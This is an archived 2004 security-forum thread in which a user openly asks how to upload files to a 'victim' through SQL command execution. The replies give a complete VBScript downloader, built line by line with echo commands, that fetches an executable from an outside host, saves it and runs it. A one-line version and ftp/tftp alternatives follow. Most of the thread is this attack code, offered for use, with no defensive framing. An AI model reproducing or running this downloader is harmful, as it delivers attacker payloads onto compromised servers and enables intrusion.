Echo And Some Strings With Sqlexec

Full Version: Echo And Some Strings With Sqlexec

GovernmentSecurity.org > The Archives > General Network Security

Learnsecurity

May 11 2004, 05:36 PM

hi,

i have trouble with some strings, i want upload-download file to my victim with
a .vbs, i know that some spezial character with a prefix works, can anybody
give me the right line of this uncomplete line pls, i have seen one sample but dosn´t work.

CODE

echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>webdown.vbs

realloader

May 11 2004, 06:26 PM

I use like this:
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"") >>webdown.vbs

Learnsecurity

May 11 2004, 09:23 PM

thx works fine

Yosam

May 12 2004, 08:45 AM

Would you please write here the entire code you wrote?

I tried writting it on severals machines but it didn't work.

I only succeded localy.

Thanks.

Pikamars

May 12 2004, 05:41 PM

why u dont use ftp.exe ? or tftp.exe it's the easiest way i think

t00sTr0nG

May 12 2004, 06:35 PM

If ftp.exe and tftp.exe are deleted and with sqlexec its difficult to rebuild the ftp.exe, is this method the best alternative!
t00sTr0nG

canardwc

May 12 2004, 07:41 PM

see this topic
to creat ftp exe...

Regards

Learnsecurity

May 12 2004, 09:10 PM

the complete .vbs

some times the server have noch tftp ftp debug and other, one more possibility to upload

CODE

echo Set xPost = CreateObject(""Microsoft.XMLHTTP"") >>webdown.vbs
echo xPost.Open ""GET"",""http://home.arcor.de/pradox/serv.exe"",0 >>webdown.vbs
echo xPost.Send() >>webdown.vbs
echo Set sGet = CreateObject(""ADODB.Stream"") >>webdown.vbs
echo sGet.Mode = 3 >>webdown.vbs
echo sGet.Type = 1 >>webdown.vbs
echo sGet.Open() >>webdown.vbs
echo sGet.Write(xPost.responseBody) >>webdown.vbs
echo sGet.SaveToFile "serv.exe",2 >>webdown.vbs
cscript webdown.vbs

Stephen79

May 13 2004, 08:35 AM

or as a nice single line:

CODE

echo Set xPost = CreateObject("Microsoft.XMLHTTP") >dl.vbs&echo xPost.Open "GET","http://www.blah.com/xyz.exe",0 >>dl.vbs&echo xPost.Send() >>dl.vbs&echo Set sGet = CreateObject("ADODB.Stream") >>dl.vbs&echo sGet.Mode = 3 >>dl.vbs&echo sGet.Type = 1 >>dl.vbs&echo sGet.Open() >>dl.vbs&echo sGet.Write(xPost.responseBody) >>dl.vbs&echo sGet.SaveToFile "xyz.exe",2 >>dl.vbs&cscript dl.vbs&

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.